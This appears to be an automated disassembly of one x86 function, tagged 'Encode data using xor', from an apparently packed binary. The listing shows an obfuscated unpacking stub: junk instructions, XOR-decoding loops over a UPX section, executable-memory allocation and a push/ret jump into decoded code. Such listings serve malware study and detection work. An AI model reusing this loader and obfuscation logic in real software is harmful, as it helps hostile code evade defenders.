Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x84390cef
and edx, ecx
sub edx, ecx
or ecx, ecx
popal
add edx, 0xb7bada47
and edx, ecx
inc edx
mov esi, 0
mov edi, eax
or edx, ebx
mov ebx, 0x1726226c
add ebx, 0x41510b
mov ecx, edi
and ebx, ebx
inc ebx
dec edx
mov eax, ecx
sub edx, ebx
sub edx, ebx
dec edx
inc esi
sub ebx, 0xcf3a995d
mov ebx, 0xae49dc7c
cmp esi, 0x1009675
jne 0xa789c7
mov edx, ebx
add edx, edx
add ecx, edx
sub edx, 0x33eb0647
add ecx, edx
mov ebx, 0xa78796
not edi
and eax, eax
mov edx, 0xa7898a
or eax, esi
or edi, esi
mov ecx, dword [ebx]
dec esi
mov esi, 0x2885fccb
and ecx, 0xff
sub edi, eax
dec esi
mov eax, esi
xor dword [edx], ecx
not edi
mov edi, 0xd7d90813
inc edx
sub eax, esi
sub esi, edi
inc ebx
and edi, esi
dec eax
cmp edx, entry0
jl 0xa78a1b
inc eax
mov esi, edi
sub edi, 0xdd4d782a
sub esi, edi
add ebx, edi
sub ecx, ebx
mov esi, 0xa7898e
mov edi, 0xc34bf87b
sub ecx, 0x837bb88b
not ebx
mov esi, dword [esi]
sub edi, 0xd88f3a47
and ebx, edx
add edi, edi
mov esi, dword [esi]
or edx, edi
or ecx, ecx
add ecx, ecx
sub esp, 4
mov dword [esp], esi
and ebx, edi
not edi
add ecx, 0xd8e99211
mov esi, 0xa7898a
not edi
mov ecx, ebx
inc ebx
mov esi, dword [esi]
dec edi
add edi, 0x6230cd31
mov esi, dword [esi]
sub edi, 1
or edx, edx
push 0xa78992
mov ebx, 0xd4ba7158
mov edi, edx
mov ebx, 0xcfef137c
call esi
and ecx, ebx
sub edi, 0x99a3e2b7
mov esi, dword [esp]
add esp, 4
mov ecx, 0xffa65989
mov edx, edi
add edi, 1
push 0xa7899f
sub ebx, 1
add edi, 0x792fefb2
inc edx
sub esp, 4
mov dword [esp], eax
and ecx, ecx
not edi
call esi
inc edi
add edx, 1
push 0x40
inc ebx
add ebx, 1
push 0x3000
add edi, 1
sub ecx, ebx
sub esp, 4
mov dword [esp], 0x20000c71
inc edi
sub edi, 0x5df5691
push 0
sub edi, 0x20676ff
add edi, 0xd53fe6f2
call eax
add ecx, ecx
inc ecx
not ebx
add eax, 0x20000bd0
or ebx, ebx
inc ebx
or ecx, edi
mov esi, 0xe2e40863
mov ecx, ebx
or ecx, edx
mov edi, ebx
mov dword [eax], esi
sub ebx, ecx
mov edx, 0x3a2edc97
mov esi, dword [eax]
sub ecx, 1
inc ecx
mov edx, 0x94e0e8b6
cmp esi, 0xe2e40863
je 0xa78b7f
mov eax, 0
mov ebx, dword [eax]
or edi, ecx
not ecx
and edi, ebx
sub ebx, 0xb763553b
dec ecx
inc ecx
mov esi, section.UPX1
mov edx, 0xb37a753f
not edx
mov ebx, 0xa78795
add ecx, 0xdc51aecf
sub ecx, 0x83eec3cf
mov eax, 0
mov edx, 0x71e1db72
mov ecx, 0xf52c723b
mov edi, 0xa78796
mov edx, ecx
dec ecx
dec edx
lea edi, [edi + eax]
sub edx, 0x9f5f3ad4
and edx, edx
mov edi, dword [edi]
mov ecx, 0x35b79bb9
add edx, 0xca7f5a4e
mov edx, ecx
and edi, 0xff
dec ecx
sub ecx, 0xe24fd549
inc eax
sub edx, 0xc8b9b734
add edx, 0xcf7c1604
cmp eax, 0x1f4
jne 0xa78c03
mov eax, 0
add edx, 0x3c0c8e68
mov edx, 0x7e50fa6d
add edx, 1
mov edx, ecx
xor dword [esi], edi
and edx, edx
mov edx, 0xb38d536b
or ecx, ecx
add esi, 2
or ecx, edx
add edx, edx
add ecx, 0x624fec17
cmp esi, ebx
jl 0xa78bb9
and ecx, edx
sub edx, 1
mov ecx, 0xa5561a99
not ecx
mov esi, section.UPX1
sub ebx, 0x9c5d9c6e
add ebx, edi
add ebx, ebx
mov edx, section.UPX1
and edi, ebx
not ebx
add edi, 0x84c30ba3
mov eax, 0xa78795
sub edi, 0xc1e96f8
inc ebx
sub ebx, 0x4cf92836
mov ecx, 0
inc edi
mov ebx, edi
mov edi, 0x2b180f54
mov cl, byte [edx]
and ebx, edi
mov edi, 0xd51c6c4
add edi, ebx
mov byte [esi], cl
mov ebx, edi
and edi, ebx
inc esi
and ebx, edi
inc edi
add edx, 2
add edi, ebx
mov edi, 0x3ac756a6
cmp edx, eax
jle 0xa78c85
and edi, ebx
add edi, 0x36cb2030
sub edx, ecx
add edx, 0x954a4107
dec edx
push 0x8dc6a0
mov ecx, edx
inc edx
ret